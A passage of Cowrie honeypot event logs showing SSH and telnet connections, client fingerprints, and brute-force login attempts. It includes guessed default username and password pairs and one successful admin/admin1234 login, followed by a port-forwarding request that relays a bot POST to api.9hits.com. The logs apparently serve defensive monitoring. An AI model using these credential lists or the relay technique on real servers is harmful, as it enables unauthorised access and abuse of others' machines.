a-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:59.790884Z","src_ip":"91.92.40.36","session":"7a65b12985c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@012","message":"login attempt [root/Password@012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:02.866098Z","src_ip":"27.71.230.31","session":"8eb072ce4b50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"54321","message":"login attempt [daemon/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:02.883146Z","src_ip":"91.92.40.36","session":"7a65b12985c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:04.153711Z","src_ip":"27.71.230.31","session":"8eb072ce4b50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":33976,"dst_ip":"159.203.135.109","dst_port":23,"session":"22231e69516f","protocol":"telnet","message":"New connection: 172.81.62.90:33976 (159.203.135.109:23) [session: 22231e69516f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:04.179051Z"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:04.979249Z","src_ip":"91.92.40.36","session":"7a65b12985c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52862,"dst_ip":"159.203.135.109","dst_port":22,"session":"3768aad26c9b","protocol":"ssh","message":"New connection: 91.92.40.36:52862 (159.203.135.109:22) [session: 3768aad26c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:05.175946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:05.380845Z","src_ip":"91.92.40.36","session":"3768aad26c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:05.393854Z","src_ip":"91.92.40.36","session":"3768aad26c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"1234","message":"login attempt [debian/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:07.287492Z","src_ip":"91.92.40.36","session":"3768aad26c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42902,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad9d5e9bf3d3","protocol":"telnet","message":"New connection: 172.81.62.90:42902 (159.203.135.109:23) [session: ad9d5e9bf3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:07.719102Z"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:08.863217Z","src_ip":"91.92.40.36","session":"3768aad26c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55894,"dst_ip":"159.203.135.109","dst_port":22,"session":"8011afc439f4","protocol":"ssh","message":"New connection: 91.92.40.36:55894 (159.203.135.109:22) [session: 8011afc439f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:11.610137Z"}
{"eventid":"cowrie.session.closed","duration":49.036566495895386,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:12.255358Z","src_ip":"128.199.8.54","session":"0f85c0e582ec","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:12.371857Z","src_ip":"91.92.40.36","session":"8011afc439f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:12.375041Z","src_ip":"91.92.40.36","session":"8011afc439f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"123456789","message":"login attempt [mohammad/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:16.735948Z","src_ip":"91.92.40.36","session":"8011afc439f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:18.650782Z","src_ip":"91.92.40.36","session":"8011afc439f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23196,"dst_ip":"159.203.135.109","dst_port":22,"session":"1278165ca51a","protocol":"ssh","message":"New connection: 91.92.40.36:23196 (159.203.135.109:22) [session: 1278165ca51a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:21.765850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:22.000275Z","src_ip":"91.92.40.36","session":"1278165ca51a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:23.048206Z","src_ip":"91.92.40.36","session":"1278165ca51a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.477309465408325,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:26.223403Z","src_ip":"172.81.62.90","session":"f823e7f4c421","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65302,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9b9cc079b00","protocol":"ssh","message":"New connection: 91.92.40.36:65302 (159.203.135.109:22) [session: f9b9cc079b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:26.359900Z"}
{"eventid":"cowrie.login.failed","username":"paris","password":"paris123","message":"login attempt [paris/paris123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:26.424212Z","src_ip":"91.92.40.36","session":"1278165ca51a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":56913,"dst_ip":"10.17.0.5","dst_port":22,"session":"265d85c0744c","protocol":"ssh","message":"New connection: 23.175.50.52:56913 (10.17.0.5:22) [session: 265d85c0744c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:27.139144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:27.143226Z","src_ip":"23.175.50.52","session":"265d85c0744c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:27.155311Z","src_ip":"91.92.40.36","session":"f9b9cc079b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:27.158846Z","src_ip":"91.92.40.36","session":"f9b9cc079b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:27.278711Z","src_ip":"23.175.50.52","session":"265d85c0744c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:28.842571Z","src_ip":"91.92.40.36","session":"1278165ca51a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:29.231178Z","src_ip":"23.175.50.52","session":"265d85c0744c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser1","message":"login attempt [ftpuser/ftpuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:30.116338Z","src_ip":"91.92.40.36","session":"f9b9cc079b00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:31.279924Z","src_ip":"91.92.40.36","session":"f9b9cc079b00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65350,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ef1377e41e6","protocol":"ssh","message":"New connection: 91.92.40.36:65350 (159.203.135.109:22) [session: 3ef1377e41e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:35.855126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:36.363574Z","src_ip":"91.92.40.36","session":"3ef1377e41e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:36.366983Z","src_ip":"91.92.40.36","session":"3ef1377e41e6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:37.302140Z","session":"265d85c0744c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:37.362753Z","src_ip":"23.175.50.52","session":"265d85c0744c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_3; rv:74.0) Gecko/20100101 Firefox/74.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1192\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=bChFUD5LUyFUdWEwZUt3Tg%3D%3DN3IaUvq15NfIMCeghlFVv0bmhcedM7zuVSNVc%2Fdsjx%2BkYA3ZBJ3Q%2FJNnVP%2Bk%2F1vrvLbV%2B3jituxCmFQX7vYAuNWSaqASBQMideytSQNMPwsXKptlZB5Yx8np1Ram1bfZzKsbVMxs4xCwDBkgddvUen7m%2Fzet3xCWzoqcke%2F1gkE1jqNqO7VFe7UQMsGCG6CI33QKKAKIQq2lpyXHnsp%2BWSbcYyAXMp%2FTDPMj0%2Fp%2FVRuWvOUuO%2F92OlrzpWGiDqpz26xHnsIVx%2B%2ByTk1TwMYUYKKhigbgDrX63AlTdWmbYKipPP25qqVz1qqhs2lUXi3CFmau1I5e%2BxYxyv9KC7usAT9ffVH%2FcjZykDZ2hjfBgomEcUqCEydKvyC681vE%2Fqzx3wugbVymR6XqesqHpcUJOQxMmO7KjFwevekSvdci8TW0vOlvM%2FzNQxo3xSRCt%2FFXw1DgfxmImJQuXbzyTcNmxYt84KmsFtuaZRKYDlccLijfCHhBlAv%2FQJd855UfBjmQwPPisDP6qcQ3RACFRiwDE5j4C5UvUf6IXtPcYDGeKWdhx32eyfC3EvluDJjxxL5BJ4q1GJt%2BhmUJv8xTPNZBUccuB82wWsxr0RThTQ3k7v8%2BTwzvVGf0UYMrPGFRkY3yUkZypXMIs6BHHbGBkf1X24EJpepgclgJ4WUXgMYPQwKpMlaKpI5cydEvysDRi3Q7Ox%2F3oTNdWn0w%2Fc9Umf1LCwV0FvadobCS%2BG9veaF2Gqdx9fxmzuYEJHWEfZ%2FP1%2FkFXWo%2BWkOAk8Rzii3FwQP3iRCf9poioJ4Qrccrxa4XF4CpdM22YBPCE5RsOUlAmeKQjFNwoOG9MoSX0txCf2oRFSda09jevjxPrqxi7j8Ytu7GyCk1QQGIU4pgGI%2B7r%2ByVWp%2BdCULDMbOEUjQbEULckPyLEUiTyhjg5X%2FluhPKqzYq6Qdbbb2fZ0lIpgixXvgk0a5xp6E4mItcXTieB9LVi8FleF73FV7MYRCSnwRXhn5sl%2FCL%2BwxvBwBfOKkBeEour%2Bx5H05C1CQT0DVT88LX7kHKTyHEEsmIjkdqVc6baVVGLjyARTJauuIbR2t8%2Bv6B'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_3; rv:74.0) Gecko/20100101 Firefox/74.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1192\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=bChFUD5LUyFUdWEwZUt3Tg%3D%3DN3IaUvq15NfIMCeghlFVv0bmhcedM7zuVSNVc%2Fdsjx%2BkYA3ZBJ3Q%2FJNnVP%2Bk%2F1vrvLbV%2B3jituxCmFQX7vYAuNWSaqASBQMideytSQNMPwsXKptlZB5Yx8np1Ram1bfZzKsbVMxs4xCwDBkgddvUen7m%2Fzet3xCWzoqcke%2F1gkE1jqNqO7VFe7UQMsGCG6CI33QKKAKIQq2lpyXHnsp%2BWSbcYyAXMp%2FTDPMj0%2Fp%2FVRuWvOUuO%2F92OlrzpWGiDqpz26xHnsIVx%2B%2ByTk1TwMYUYKKhigbgDrX63AlTdWmbYKipPP25qqVz1qqhs2lUXi3CFmau1I5e%2BxYxyv9KC7usAT9ffVH%2FcjZykDZ2hjfBgomEcUqCEydKvyC681vE%2Fqzx3wugbVymR6XqesqHpcUJOQxMmO7KjFwevekSvdci8TW0vOlvM%2FzNQxo3xSRCt%2FFXw1DgfxmImJQuXbzyTcNmxYt84KmsFtuaZRKYDlccLijfCHhBlAv%2FQJd855UfBjmQwPPisDP6qcQ3RACFRiwDE5j4C5UvUf6IXtPcYDGeKWdhx32eyfC3EvluDJjxxL5BJ4q1GJt%2BhmUJv8xTPNZBUccuB82wWsxr0RThTQ3k7v8%2BTwzvVGf0UYMrPGFRkY3yUkZypXMIs6BHHbGBkf1X24EJpepgclgJ4WUXgMYPQwKpMlaKpI5cydEvysDRi3Q7Ox%2F3oTNdWn0w%2Fc9Umf1LCwV0FvadobCS%2BG9veaF2Gqdx9fxmzuYEJHWEfZ%2FP1%2FkFXWo%2BWkOAk8